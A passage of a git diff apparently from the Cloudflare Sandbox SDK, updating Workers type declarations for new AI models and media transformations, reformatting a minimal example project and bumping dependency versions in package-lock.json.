GPT_OSS_120B_Responses { + /** + * Responses API Input messages. Refer to OpenAI Responses API docs to learn more about supported content types + */ + input: string | unknown[]; + reasoning?: { + /** + * Constrains effort on reasoning for reasoning models. Currently supported values are low, medium, and high. Reducing reasoning effort can result in faster responses and fewer tokens used on reasoning in a response. + */ + effort?: "low" | "medium" | "high"; + /** + * A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process. One of auto, concise, or detailed. + */ + summary?: "auto" | "concise" | "detailed"; + }; +} +interface GPT_OSS_120B_Responses_Async { + requests: { + /** + * Responses API Input messages. Refer to OpenAI Responses API docs to learn more about supported content types + */ + input: string | unknown[]; + reasoning?: { + /** + * Constrains effort on reasoning for reasoning models. Currently supported values are low, medium, and high. Reducing reasoning effort can result in faster responses and fewer tokens used on reasoning in a response. + */ + effort?: "low" | "medium" | "high"; + /** + * A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process. One of auto, concise, or detailed. + */ + summary?: "auto" | "concise" | "detailed"; + }; + }[]; +} +type Ai_Cf_Openai_Gpt_Oss_120B_Output = {} | (string & NonNullable); +declare abstract class Base_Ai_Cf_Openai_Gpt_Oss_120B { + inputs: Ai_Cf_Openai_Gpt_Oss_120B_Input; + postProcessedOutputs: Ai_Cf_Openai_Gpt_Oss_120B_Output; +} +type Ai_Cf_Openai_Gpt_Oss_20B_Input = GPT_OSS_20B_Responses | GPT_OSS_20B_Responses_Async; +interface GPT_OSS_20B_Responses { + /** + * Responses API Input messages. Refer to OpenAI Responses API docs to learn more about supported content types + */ + input: string | unknown[]; + reasoning?: { + /** + * Constrains effort on reasoning for reasoning models. Currently supported values are low, medium, and high. Reducing reasoning effort can result in faster responses and fewer tokens used on reasoning in a response. + */ + effort?: "low" | "medium" | "high"; + /** + * A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process. One of auto, concise, or detailed. + */ + summary?: "auto" | "concise" | "detailed"; + }; +} +interface GPT_OSS_20B_Responses_Async { + requests: { + /** + * Responses API Input messages. Refer to OpenAI Responses API docs to learn more about supported content types + */ + input: string | unknown[]; + reasoning?: { + /** + * Constrains effort on reasoning for reasoning models. Currently supported values are low, medium, and high. Reducing reasoning effort can result in faster responses and fewer tokens used on reasoning in a response. + */ + effort?: "low" | "medium" | "high"; + /** + * A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process. One of auto, concise, or detailed. + */ + summary?: "auto" | "concise" | "detailed"; + }; + }[]; +} +type Ai_Cf_Openai_Gpt_Oss_20B_Output = {} | (string & NonNullable); +declare abstract class Base_Ai_Cf_Openai_Gpt_Oss_20B { + inputs: Ai_Cf_Openai_Gpt_Oss_20B_Input; + postProcessedOutputs: Ai_Cf_Openai_Gpt_Oss_20B_Output; +} +interface Ai_Cf_Leonardo_Phoenix_1_0_Input { + /** + * A text description of the image you want to generate. + */ + prompt: string; + /** + * Controls how closely the generated image should adhere to the prompt; higher values make the image more aligned with the prompt + */ + guidance?: number; + /** + * Random seed for reproducibility of the image generation + */ + seed?: number; + /** + * The height of the generated image in pixels + */ + height?: number; + /** + * The width of the generated image in pixels + */ + width?: number; + /** + * The number of diffusion steps; higher values can improve quality but take longer + */ + num_steps?: number; + /** + * Specify what to exclude from the generated images + */ + negative_prompt?: string; +} +/** + * The generated image in JPEG format + */ +type Ai_Cf_Leonardo_Phoenix_1_0_Output = string; +declare abstract class Base_Ai_Cf_Leonardo_Phoenix_1_0 { + inputs: Ai_Cf_Leonardo_Phoenix_1_0_Input; + postProcessedOutputs: Ai_Cf_Leonardo_Phoenix_1_0_Output; +} +interface Ai_Cf_Leonardo_Lucid_Origin_Input { + /** + * A text description of the image you want to generate. + */ + prompt: string; + /** + * Controls how closely the generated image should adhere to the prompt; higher values make the image more aligned with the prompt + */ + guidance?: number; + /** + * Random seed for reproducibility of the image generation + */ + seed?: number; + /** + * The height of the generated image in pixels + */ + height?: number; + /** + * The width of the generated image in pixels + */ + width?: number; + /** + * The number of diffusion steps; higher values can improve quality but take longer + */ + num_steps?: number; + /** + * The number of diffusion steps; higher values can improve quality but take longer + */ + steps?: number; +} +interface Ai_Cf_Leonardo_Lucid_Origin_Output { + /** + * The generated image in Base64 format. + */ + image?: string; +} +declare abstract class Base_Ai_Cf_Leonardo_Lucid_Origin { + inputs: Ai_Cf_Leonardo_Lucid_Origin_Input; + postProcessedOutputs: Ai_Cf_Leonardo_Lucid_Origin_Output; +} +interface Ai_Cf_Deepgram_Aura_1_Input { + /** + * Speaker used to produce the audio. + */ + speaker?: "angus" | "asteria" | "arcas" | "orion" | "orpheus" | "athena" | "luna" | "zeus" | "perseus" | "helios" | "hera" | "stella"; + /** + * Encoding of the output audio. + */ + encoding?: "linear16" | "flac" | "mulaw" | "alaw" | "mp3" | "opus" | "aac"; + /** + * Container specifies the file format wrapper for the output audio. The available options depend on the encoding type.. + */ + container?: "none" | "wav" | "ogg"; + /** + * The text content to be converted to speech + */ + text: string; + /** + * Sample Rate specifies the sample rate for the output audio. Based on the encoding, different sample rates are supported. For some encodings, the sample rate is not configurable + */ + sample_rate?: number; + /** + * The bitrate of the audio in bits per second. Choose from predefined ranges or specific values based on the encoding type. + */ + bit_rate?: number; +} +/** + * The generated audio in MP3 format + */ +type Ai_Cf_Deepgram_Aura_1_Output = string; +declare abstract class Base_Ai_Cf_Deepgram_Aura_1 { + inputs: Ai_Cf_Deepgram_Aura_1_Input; + postProcessedOutputs: Ai_Cf_Deepgram_Aura_1_Output; +} +interface AiModels { + "@cf/huggingface/distilbert-sst-2-int8": BaseAiTextClassification; + "@cf/stabilityai/stable-diffusion-xl-base-1.0": BaseAiTextToImage; + "@cf/runwayml/stable-diffusion-v1-5-inpainting": BaseAiTextToImage; + "@cf/runwayml/stable-diffusion-v1-5-img2img": BaseAiTextToImage; + "@cf/lykon/dreamshaper-8-lcm": BaseAiTextToImage; + "@cf/bytedance/stable-diffusion-xl-lightning": BaseAiTextToImage; + "@cf/myshell-ai/melotts": BaseAiTextToSpeech; + "@cf/google/embeddinggemma-300m": BaseAiTextEmbeddings; + "@cf/microsoft/resnet-50": BaseAiImageClassification; + "@cf/meta/llama-2-7b-chat-int8": BaseAiTextGeneration; + "@cf/mistral/mistral-7b-instruct-v0.1": BaseAiTextGeneration; "@cf/meta/llama-2-7b-chat-fp16": BaseAiTextGeneration; "@hf/thebloke/llama-2-13b-chat-awq": BaseAiTextGeneration; "@hf/thebloke/mistral-7b-instruct-v0.1-awq": BaseAiTextGeneration; @@ -5245,7 +5978,6 @@ interface AiModels { "@cf/fblgit/una-cybertron-7b-v2-bf16": BaseAiTextGeneration; "@cf/meta/llama-3-8b-instruct-awq": BaseAiTextGeneration; "@hf/meta-llama/meta-llama-3-8b-instruct": BaseAiTextGeneration; - "@cf/meta/llama-3.1-8b-instruct": BaseAiTextGeneration; "@cf/meta/llama-3.1-8b-instruct-fp8": BaseAiTextGeneration; "@cf/meta/llama-3.1-8b-instruct-awq": BaseAiTextGeneration; "@cf/meta/llama-3.2-3b-instruct": BaseAiTextGeneration; @@ -5272,6 +6004,13 @@ interface AiModels { "@cf/mistralai/mistral-small-3.1-24b-instruct": Base_Ai_Cf_Mistralai_Mistral_Small_3_1_24B_Instruct; "@cf/google/gemma-3-12b-it": Base_Ai_Cf_Google_Gemma_3_12B_It; "@cf/meta/llama-4-scout-17b-16e-instruct": Base_Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct; + "@cf/deepgram/nova-3": Base_Ai_Cf_Deepgram_Nova_3; + "@cf/pipecat-ai/smart-turn-v2": Base_Ai_Cf_Pipecat_Ai_Smart_Turn_V2; + "@cf/openai/gpt-oss-120b": Base_Ai_Cf_Openai_Gpt_Oss_120B; + "@cf/openai/gpt-oss-20b": Base_Ai_Cf_Openai_Gpt_Oss_20B; + "@cf/leonardo/phoenix-1.0": Base_Ai_Cf_Leonardo_Phoenix_1_0; + "@cf/leonardo/lucid-origin": Base_Ai_Cf_Leonardo_Lucid_Origin; + "@cf/deepgram/aura-1": Base_Ai_Cf_Deepgram_Aura_1; } type AiOptions = { /** @@ -5279,18 +6018,15 @@ type AiOptions = { * https://developers.cloudflare.com/workers-ai/features/batch-api */ queueRequest?: boolean; + /** + * Establish websocket connections, only works for supported models + */ + websocket?: boolean; gateway?: GatewayOptions; returnRawResponse?: boolean; prefix?: string; extraHeaders?: object; }; -type ConversionResponse = { - name: string; - mimeType: string; - format: "markdown"; - tokens: number; - data: string; -}; type AiModelsSearchParams = { author?: string; hide_experimental?: boolean; @@ -5324,13 +6060,16 @@ type AiModelListType = Record; declare abstract class Ai { aiGatewayLogId: string | null; gateway(gatewayId: string): AiGateway; - autorag(autoragId?: string): AutoRAG; + autorag(autoragId: string): AutoRAG; run(model: Name, inputs: InputOptions, options?: Options): Promise; models(params?: AiModelsSearchParams): Promise; + toMarkdown(): ToMarkdownService; toMarkdown(files: { name: string; blob: Blob; @@ -5362,6 +6101,12 @@ type GatewayOptions = { requestTimeoutMs?: number; retries?: GatewayRetries; }; +type UniversalGatewayOptions = Exclude & { + /** + ** @deprecated + */ + id?: string; +}; type AiGatewayPatchLog = { score?: number | null; feedback?: -1 | 1 | null; @@ -5430,7 +6175,7 @@ declare abstract class AiGateway { patchLog(logId: string, data: AiGatewayPatchLog): Promise; getLog(logId: string): Promise; run(data: AIGatewayUniversalRequest | AIGatewayUniversalRequest[], options?: { - gateway?: GatewayOptions; + gateway?: UniversalGatewayOptions; extraHeaders?: object; }): Promise; getUrl(provider?: AIGatewayProviders | string): Promise; // eslint-disable-line @@ -5464,6 +6209,7 @@ type AutoRagSearchRequest = { }; type AutoRagAiSearchRequest = AutoRagSearchRequest & { stream?: boolean; + system_prompt?: string; }; type AutoRagAiSearchRequestStreaming = Omit & { stream: true; @@ -5539,6 +6285,12 @@ interface BasicImageTransformations { * breaks aspect ratio */ fit?: "scale-down" | "contain" | "cover" | "crop" | "pad" | "squeeze"; + /** + * Image segmentation using artificial intelligence models. Sets pixels not + * within selected segment area to transparent e.g "foreground" sets every + * background pixel as transparent. + */ + segment?: "foreground"; /** * When cropping with fit: "cover", this defines the side or point that should * be left uncropped. The value is either a string @@ -5551,7 +6303,7 @@ interface BasicImageTransformations { * preserve as much as possible around a point at 20% of the height of the * source image. */ - gravity?: 'left' | 'right' | 'top' | 'bottom' | 'center' | 'auto' | 'entropy' | BasicImageTransformationsGravityCoordinates; + gravity?: 'face' | 'left' | 'right' | 'top' | 'bottom' | 'center' | 'auto' | 'entropy' | BasicImageTransformationsGravityCoordinates; /** * Background color to add underneath the image. Applies only to images with * transparency (such as PNG). Accepts any CSS color (#RRGGBB, rgba(โ€ฆ), @@ -6255,6 +7007,11 @@ interface D1Meta { */ sql_duration_ms: number; }; + /** + * Number of total attempts to execute the query, due to automatic retries. + * Note: All other fields in the response like `timings` only apply to the last attempt. + */ + total_attempts?: number; } interface D1Response { success: true; @@ -6272,11 +7029,11 @@ type D1SessionConstraint = // Indicates that the first query should go to the primary, and the rest queries // using the same D1DatabaseSession will go to any replica that is consistent with // the bookmark maintained by the session (returned by the first query). -"first-primary" +'first-primary' // Indicates that the first query can go anywhere (primary or replica), and the rest queries // using the same D1DatabaseSession will go to any replica that is consistent with // the bookmark maintained by the session (returned by the first query). - | "first-unconstrained"; + | 'first-unconstrained'; type D1SessionBookmark = string; declare abstract class D1Database { prepare(query: string): D1PreparedStatement; @@ -6487,7 +7244,8 @@ type ImageTransform = { fit?: 'scale-down' | 'contain' | 'pad' | 'squeeze' | 'cover' | 'crop'; flip?: 'h' | 'v' | 'hv'; gamma?: number; - gravity?: 'left' | 'right' | 'top' | 'bottom' | 'center' | 'auto' | 'entropy' | { + segment?: 'foreground'; + gravity?: 'face' | 'left' | 'right' | 'top' | 'bottom' | 'center' | 'auto' | 'entropy' | { x?: number; y?: number; mode: 'remainder' | 'box-center'; @@ -6524,6 +7282,7 @@ type ImageOutputOptions = { format: 'image/jpeg' | 'image/png' | 'image/gif' | 'image/webp' | 'image/avif' | 'rgb' | 'rgba'; quality?: number; background?: string; + anim?: boolean; }; interface ImagesBinding { /** @@ -6582,6 +7341,125 @@ interface ImagesError extends Error { readonly message: string; readonly stack?: string; } +/** + * Media binding for transforming media streams. + * Provides the entry point for media transformation operations. + */ +interface MediaBinding { + /** + * Creates a media transformer from an input stream. + * @param media - The input media bytes + * @returns A MediaTransformer instance for applying transformations + */ + input(media: ReadableStream): MediaTransformer; +} +/** + * Media transformer for applying transformation operations to media content. + * Handles sizing, fitting, and other input transformation parameters. + */ +interface MediaTransformer { + /** + * Applies transformation options to the media content. + * @param transform - Configuration for how the media should be transformed + * @returns A generator for producing the transformed media output + */ + transform(transform: MediaTransformationInputOptions): MediaTransformationGenerator; +} +/** + * Generator for producing media transformation results. + * Configures the output format and parameters for the transformed media. + */ +interface MediaTransformationGenerator { + /** + * Generates the final media output with specified options. + * @param output - Configuration for the output format and parameters + * @returns The final transformation result containing the transformed media + */ + output(output: MediaTransformationOutputOptions): MediaTransformationResult; +} +/** + * Result of a media transformation operation. + * Provides multiple ways to access the transformed media content. + */ +interface MediaTransformationResult { + /** + * Returns the transformed media as a readable stream of bytes. + * @returns A stream containing the transformed media data + */ + media(): ReadableStream; + /** + * Returns the transformed media as an HTTP response object. + * @returns The transformed media as a Response, ready to store in cache or return to users + */ + response(): Response; + /** + * Returns the MIME type of the transformed media. + * @returns The content type string (e.g., 'image/jpeg', 'video/mp4') + */ + contentType(): string; +} +/** + * Configuration options for transforming media input. + * Controls how the media should be resized and fitted. + */ +type MediaTransformationInputOptions = { + /** How the media should be resized to fit the specified dimensions */ + fit?: 'contain' | 'cover' | 'scale-down'; + /** Target width in pixels */ + width?: number; + /** Target height in pixels */ + height?: number; +}; +/** + * Configuration options for Media Transformations output. + * Controls the format, timing, and type of the generated output. + */ +type MediaTransformationOutputOptions = { + /** + * Output mode determining the type of media to generate + */ + mode?: 'video' | 'spritesheet' | 'frame' | 'audio'; + /** Whether to include audio in the output */ + audio?: boolean; + /** + * Starting timestamp for frame extraction or start time for clips. (e.g. '2s'). + */ + time?: string; + /** + * Duration for video clips, audio extraction, and spritesheet generation (e.g. '5s'). + */ + duration?: string; + /** + * Number of frames in the spritesheet. + */ + imageCount?: number; + /** + * Output format for the generated media. + */ + format?: 'jpg' | 'png' | 'm4a'; +}; +/** + * Error object for media transformation operations. + * Extends the standard Error interface with additional media-specific information. + */ +interface MediaError extends Error { + readonly code: number; + readonly message: string; + readonly stack?: string; +} +declare module 'cloudflare:node' { + interface NodeStyleServer { + listen(...args: unknown[]): this; + address(): { + port?: number | null | undefined; + }; + } + export function httpServerHandler(port: number): ExportedHandler; + export function httpServerHandler(options: { + port: number; + }): ExportedHandler; + export function httpServerHandler(server: NodeStyleServer): ExportedHandler; +} type Params

= Record; type EventContext = { request: Request>; @@ -6797,23 +7675,49 @@ declare namespace Rpc { }; } declare namespace Cloudflare { + // Type of `env`. + // + // The specific project can extend `Env` by redeclaring it in project-specific files. Typescript + // will merge all declarations. + // + // You can use `wrangler types` to generate the `Env` type automatically. interface Env { } -} -declare module 'cloudflare:node' { - export interface DefaultHandler { - fetch?(request: Request): Response | Promise; - tail?(events: TraceItem[]): void | Promise; - trace?(traces: TraceItem[]): void | Promise; - scheduled?(controller: ScheduledController): void | Promise; - queue?(batch: MessageBatch): void | Promise; - test?(controller: TestController): void | Promise; + // Project-specific parameters used to inform types. + // + // This interface is, again, intended to be declared in project-specific files, and then that + // declaration will be merged with this one. + // + // A project should have a declaration like this: + // + // interface GlobalProps { + // // Declares the main module's exports. Used to populate Cloudflare.Exports aka the type + // // of `ctx.exports`. + // mainModule: typeof import("my-main-module"); + // + // // Declares which of the main module's exports are configured with durable storage, and + // // thus should behave as Durable Object namsepace bindings. + // durableNamespaces: "MyDurableObject" | "AnotherDurableObject"; + // } + // + // You can use `wrangler types` to generate `GlobalProps` automatically. + interface GlobalProps { } - export function httpServerHandler(options: { - port: number; - }, handlers?: Omit): DefaultHandler; + // Evaluates to the type of a property in GlobalProps, defaulting to `Default` if it is not + // present. + type GlobalProp = K extends keyof GlobalProps ? GlobalProps[K] : Default; + // The type of the program's main module exports, if known. Requires `GlobalProps` to declare the + // `mainModule` property. + type MainModule = GlobalProp<"mainModule", {}>; + // The type of ctx.exports, which contains loopback bindings for all top-level exports. + type Exports = { + [K in keyof MainModule]: LoopbackForExport + // If the export is listed in `durableNamespaces`, then it is also a + // DurableObjectNamespace. + & (K extends GlobalProp<"durableNamespaces", never> ? MainModule[K] extends new (...args: any[]) => infer DoInstance ? DoInstance extends Rpc.DurableObjectBranded ? DurableObjectNamespace : DurableObjectNamespace : DurableObjectNamespace : {}); + }; } -declare module 'cloudflare:workers' { +declare namespace CloudflareWorkersModule { export type RpcStub = Rpc.Stub; export const RpcStub: { new (value: T): Rpc.Stub; @@ -6822,9 +7726,9 @@ declare module 'cloudflare:workers' { [Rpc.__RPC_TARGET_BRAND]: never; } // `protected` fields don't appear in `keyof`s, so can't be accessed over RPC - export abstract class WorkerEntrypoint implements Rpc.WorkerEntrypointBranded { + export abstract class WorkerEntrypoint implements Rpc.WorkerEntrypointBranded { [Rpc.__WORKER_ENTRYPOINT_BRAND]: never; - protected ctx: ExecutionContext; + protected ctx: ExecutionContext; protected env: Env; constructor(ctx: ExecutionContext, env: Env); fetch?(request: Request): Response | Promise; @@ -6834,9 +7738,9 @@ declare module 'cloudflare:workers' { queue?(batch: MessageBatch): void | Promise; test?(controller: TestController): void | Promise; } - export abstract class DurableObject implements Rpc.DurableObjectBranded { + export abstract class DurableObject implements Rpc.DurableObjectBranded { [Rpc.__DURABLE_OBJECT_BRAND]: never; - protected ctx: DurableObjectState; + protected ctx: DurableObjectState; protected env: Env; constructor(ctx: DurableObjectState, env: Env); fetch?(request: Request): Response | Promise; @@ -6889,6 +7793,9 @@ declare module 'cloudflare:workers' { export function waitUntil(promise: Promise): void; export const env: Cloudflare.Env; } +declare module 'cloudflare:workers' { + export = CloudflareWorkersModule; +} interface SecretsStoreSecret { /** * Get a secret from the Secrets Store, returning a string of the secret value @@ -6900,6 +7807,38 @@ declare module "cloudflare:sockets" { function _connect(address: string | SocketAddress, options?: SocketOptions): Socket; export { _connect as connect }; } +type ConversionResponse = { + name: string; + mimeType: string; +} & ({ + format: "markdown"; + tokens: number; + data: string; +} | { + format: "error"; + error: string; +}); +type SupportedFileFormat = { + mimeType: string; + extension: string; +}; +declare abstract class ToMarkdownService { + transform(files: { + name: string; + blob: Blob; + }[], options?: { + gateway?: GatewayOptions; + extraHeaders?: object; + }): Promise; + transform(files: { + name: string; + blob: Blob; + }, options?: { + gateway?: GatewayOptions; + extraHeaders?: object; + }): Promise; + supported(): Promise; +} declare namespace TailStream { interface Header { readonly name: string; @@ -6914,7 +7853,6 @@ declare namespace TailStream { } interface JsRpcEventInfo { readonly type: "jsrpc"; - readonly methodName: string; } interface ScheduledEventInfo { readonly type: "scheduled"; @@ -6955,10 +7893,6 @@ declare namespace TailStream { readonly type: "hibernatableWebSocket"; readonly info: HibernatableWebSocketEventInfoClose | HibernatableWebSocketEventInfoError | HibernatableWebSocketEventInfoMessage; } - interface Resume { - readonly type: "resume"; - readonly attachment?: any; - } interface CustomEventInfo { readonly type: "custom"; } @@ -6972,21 +7906,18 @@ declare namespace TailStream { readonly tag?: string; readonly message?: string; } - interface Trigger { - readonly traceId: string; - readonly invocationId: string; - readonly spanId: string; - } interface Onset { readonly type: "onset"; + readonly attributes: Attribute[]; + // id for the span being opened by this Onset event. + readonly spanId: string; readonly dispatchNamespace?: string; readonly entrypoint?: string; readonly executionModel: string; readonly scriptName?: string; readonly scriptTags?: string[]; readonly scriptVersion?: ScriptVersion; - readonly trigger?: Trigger; - readonly info: FetchEventInfo | JsRpcEventInfo | ScheduledEventInfo | AlarmEventInfo | QueueEventInfo | EmailEventInfo | TraceEventInfo | HibernatableWebSocketEventInfo | Resume | CustomEventInfo; + readonly info: FetchEventInfo | JsRpcEventInfo | ScheduledEventInfo | AlarmEventInfo | QueueEventInfo | EmailEventInfo | TraceEventInfo | HibernatableWebSocketEventInfo | CustomEventInfo; } interface Outcome { readonly type: "outcome"; @@ -6994,12 +7925,11 @@ declare namespace TailStream { readonly cpuTime: number; readonly wallTime: number; } - interface Hibernate { - readonly type: "hibernate"; - } interface SpanOpen { readonly type: "spanOpen"; readonly name: string; + // id for the span being opened by this SpanOpen event. + readonly spanId: string; readonly info?: FetchEventInfo | JsRpcEventInfo | Attributes; } interface SpanClose { @@ -7022,17 +7952,14 @@ declare namespace TailStream { readonly level: "debug" | "error" | "info" | "log" | "warn"; readonly message: object; } + // This marks the worker handler return information. + // This is separate from Outcome because the worker invocation can live for a long time after + // returning. For example - Websockets that return an http upgrade response but then continue + // streaming information or SSE http connections. interface Return { readonly type: "return"; readonly info?: FetchResponseInfo; } - interface Link { - readonly type: "link"; - readonly label?: string; - readonly traceId: string; - readonly invocationId: string; - readonly spanId: string; - } interface Attribute { readonly name: string; readonly value: string | string[] | boolean | boolean[] | number | number[] | bigint | bigint[]; @@ -7041,10 +7968,29 @@ declare namespace TailStream { readonly type: "attributes"; readonly info: Attribute[]; } - type EventType = Onset | Outcome | Hibernate | SpanOpen | SpanClose | DiagnosticChannelEvent | Exception | Log | Return | Link | Attributes; + type EventType = Onset | Outcome | SpanOpen | SpanClose | DiagnosticChannelEvent | Exception | Log | Return | Attributes; + // Context in which this trace event lives. + interface SpanContext { + // Single id for the entire top-level invocation + // This should be a new traceId for the first worker stage invoked in the eyeball request and then + // same-account service-bindings should reuse the same traceId but cross-account service-bindings + // should use a new traceId. + readonly traceId: string; + // spanId in which this event is handled + // for Onset and SpanOpen events this would be the parent span id + // for Outcome and SpanClose these this would be the span id of the opening Onset and SpanOpen events + // For Hibernate and Mark this would be the span under which they were emitted. + // spanId is not set ONLY if: + // 1. This is an Onset event + // 2. We are not inherting any SpanContext. (e.g. this is a cross-account service binding or a new top-level invocation) + readonly spanId?: string; + } interface TailEvent { + // invocation id of the currently invoked worker stage. + // invocation id will always be unique to every Onset event and will be the same until the Outcome event. readonly invocationId: string; - readonly spanId: string; + // Inherited spanContext for this event. + readonly spanContext: SpanContext; readonly timestamp: Date; readonly sequence: number; readonly event: Event; @@ -7052,14 +7998,12 @@ declare namespace TailStream { type TailEventHandler = (event: TailEvent) => void | Promise; type TailEventHandlerObject = { outcome?: TailEventHandler; - hibernate?: TailEventHandler; spanOpen?: TailEventHandler; spanClose?: TailEventHandler; diagnosticChannel?: TailEventHandler; exception?: TailEventHandler; log?: TailEventHandler; return?: TailEventHandler; - link?: TailEventHandler; attributes?: TailEventHandler; }; type TailEventHandlerType = TailEventHandler | TailEventHandlerObject; diff --git a/examples/minimal/README.md b/examples/minimal/README.md index 0c539e24..b723a706 100644 --- a/examples/minimal/README.md +++ b/examples/minimal/README.md @@ -24,6 +24,7 @@ GET http://localhost:8787/run ``` Runs `python -c "print(2 + 2)"` and returns: + ```json { "output": "4\n", @@ -38,6 +39,7 @@ GET http://localhost:8787/file ``` Creates `/workspace/hello.txt`, reads it back, and returns: + ```json { "content": "Hello, Sandbox!" @@ -47,12 +49,14 @@ Creates `/workspace/hello.txt`, reads it back, and returns: ## Setup 1. From the project root, run: + ```bash npm install npm run build ``` 2. Run locally: + ```bash cd examples/minimal # if you're not already here npm run dev diff --git a/examples/minimal/package.json b/examples/minimal/package.json index 7734cd4e..e427e913 100644 --- a/examples/minimal/package.json +++ b/examples/minimal/package.json @@ -1,22 +1,22 @@ { - "name": "@cloudflare/sandbox-minimal-example", - "version": "1.0.0", - "type": "module", - "private": true, - "description": "A minimal example of using the Sandbox SDK", - "scripts": { - "deploy": "wrangler deploy", - "dev": "wrangler dev", - "start": "wrangler dev", - "cf-typegen": "wrangler types", - "typecheck": "tsc --noEmit" - }, - "devDependencies": { - "@cloudflare/sandbox": "*", - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" - }, - "author": "", - "license": "MIT" + "name": "@cloudflare/sandbox-minimal-example", + "version": "1.0.0", + "type": "module", + "private": true, + "description": "A minimal example of using the Sandbox SDK", + "scripts": { + "deploy": "wrangler deploy", + "dev": "wrangler dev", + "start": "wrangler dev", + "cf-typegen": "wrangler types", + "typecheck": "tsc --noEmit" + }, + "devDependencies": { + "@cloudflare/sandbox": "*", + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" + }, + "author": "", + "license": "MIT" } diff --git a/examples/minimal/src/index.ts b/examples/minimal/src/index.ts index 4ab50cd9..1de92566 100644 --- a/examples/minimal/src/index.ts +++ b/examples/minimal/src/index.ts @@ -1,6 +1,6 @@ -import { getSandbox, type Sandbox } from "@cloudflare/sandbox"; +import { getSandbox, type Sandbox } from '@cloudflare/sandbox'; -export { Sandbox } from "@cloudflare/sandbox"; +export { Sandbox } from '@cloudflare/sandbox'; type Env = { Sandbox: DurableObjectNamespace; @@ -11,28 +11,28 @@ export default { const url = new URL(request.url); // Get or create a sandbox instance - const sandbox = getSandbox(env.Sandbox, "my-sandbox"); + const sandbox = getSandbox(env.Sandbox, 'my-sandbox'); // Execute Python code - if (url.pathname === "/run") { + if (url.pathname === '/run') { const result = await sandbox.exec('python3 -c "print(2 + 2)"'); return Response.json({ output: result.stdout, error: result.stderr, exitCode: result.exitCode, - success: result.success, + success: result.success }); } // Work with files - if (url.pathname === "/file") { - await sandbox.writeFile("/workspace/hello.txt", "Hello, Sandbox!"); - const file = await sandbox.readFile("/workspace/hello.txt"); + if (url.pathname === '/file') { + await sandbox.writeFile('/workspace/hello.txt', 'Hello, Sandbox!'); + const file = await sandbox.readFile('/workspace/hello.txt'); return Response.json({ - content: file.content, + content: file.content }); } - return new Response("Try /run or /file"); - }, + return new Response('Try /run or /file'); + } }; diff --git a/examples/minimal/tsconfig.json b/examples/minimal/tsconfig.json index d8303840..5337caeb 100644 --- a/examples/minimal/tsconfig.json +++ b/examples/minimal/tsconfig.json @@ -1,15 +1,15 @@ { - "compilerOptions": { - "target": "esnext", - "lib": ["esnext"], - "module": "esnext", - "moduleResolution": "bundler", - "types": ["@types/node", "./worker-configuration.d.ts"], - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "strict": true, - "skipLibCheck": true, - "noEmit": true - }, - "include": ["worker-configuration.d.ts", "src/**/*.ts"] + "compilerOptions": { + "target": "esnext", + "lib": ["esnext"], + "module": "esnext", + "moduleResolution": "bundler", + "types": ["@types/node", "./worker-configuration.d.ts"], + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "strict": true, + "skipLibCheck": true, + "noEmit": true + }, + "include": ["worker-configuration.d.ts", "src/**/*.ts"] } diff --git a/examples/minimal/wrangler.jsonc b/examples/minimal/wrangler.jsonc index 8f8fcbf8..2b34f333 100644 --- a/examples/minimal/wrangler.jsonc +++ b/examples/minimal/wrangler.jsonc @@ -1,32 +1,32 @@ { - "$schema": "node_modules/wrangler/config-schema.json", - "name": "sandbox-minimal-example", - "main": "src/index.ts", - "compatibility_date": "2025-05-06", - "compatibility_flags": ["nodejs_compat"], - "observability": { - "enabled": true - }, - "containers": [ - { - "class_name": "Sandbox", - "image": "./Dockerfile", - "instance_type": "lite", - "max_instances": 1 - } - ], - "durable_objects": { - "bindings": [ - { - "class_name": "Sandbox", - "name": "Sandbox" - } - ] - }, - "migrations": [ - { - "new_sqlite_classes": ["Sandbox"], - "tag": "v1" - } - ] + "$schema": "node_modules/wrangler/config-schema.json", + "name": "sandbox-minimal-example", + "main": "src/index.ts", + "compatibility_date": "2025-05-06", + "compatibility_flags": ["nodejs_compat"], + "observability": { + "enabled": true + }, + "containers": [ + { + "class_name": "Sandbox", + "image": "./Dockerfile", + "instance_type": "lite", + "max_instances": 1 + } + ], + "durable_objects": { + "bindings": [ + { + "class_name": "Sandbox", + "name": "Sandbox" + } + ] + }, + "migrations": [ + { + "new_sqlite_classes": ["Sandbox"], + "tag": "v1" + } + ] } diff --git a/package-lock.json b/package-lock.json index fbf64047..25b14585 100644 --- a/package-lock.json +++ b/package-lock.json @@ -15,43 +15,61 @@ "examples/*" ], "devDependencies": { - "@biomejs/biome": "^2.1.2", + "@biomejs/biome": "^2.3.2", "@changesets/changelog-github": "^0.5.1", - "@changesets/cli": "^2.29.5", - "@cloudflare/vite-plugin": "^1.13.12", - "@cloudflare/vitest-pool-workers": "^0.9.12", - "@cloudflare/workers-types": "^4.20250725.0", - "@types/bun": "^1.2.19", - "@types/node": "^24.9.1", - "@types/react": "^19.1.8", - "@types/react-dom": "^19.1.6", + "@changesets/cli": "^2.29.7", + "@cloudflare/vite-plugin": "^1.13.17", + "@cloudflare/vitest-pool-workers": "^0.10.2", + "@cloudflare/workers-types": "^4.20251014.0", + "@types/bun": "^1.3.1", + "@types/node": "^24.9.2", + "@types/react": "^19.2.2", + "@types/react-dom": "^19.2.2", "@types/ws": "^8.18.1", - "@vitejs/plugin-react": "^4.7.0", + "@vitejs/plugin-react": "^5.1.0", "@vitest/ui": "^3.2.4", "fast-glob": "^3.3.3", - "happy-dom": "^20.0.0", + "happy-dom": "^20.0.10", "pkg-pr-new": "^0.0.60", - "react": "^19.1.0", - "react-dom": "^19.1.0", + "prettier": "^3.6.2", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "sherif": "^1.7.0", "tsdown": "^0.15.11", - "tsx": "^4.20.3", + "tsx": "^4.20.6", "turbo": "^2.5.8", - "typescript": "^5.8.3", - "vite": "^7.1.11", + "typescript": "^5.9.3", + "vite": "^7.1.12", "vitest": "^3.2.4", - "wrangler": "^4.44.0", + "wrangler": "^4.45.2", "ws": "^8.18.3" } }, + "examples/basic": { + "name": "@cloudflare/sandbox-example", + "version": 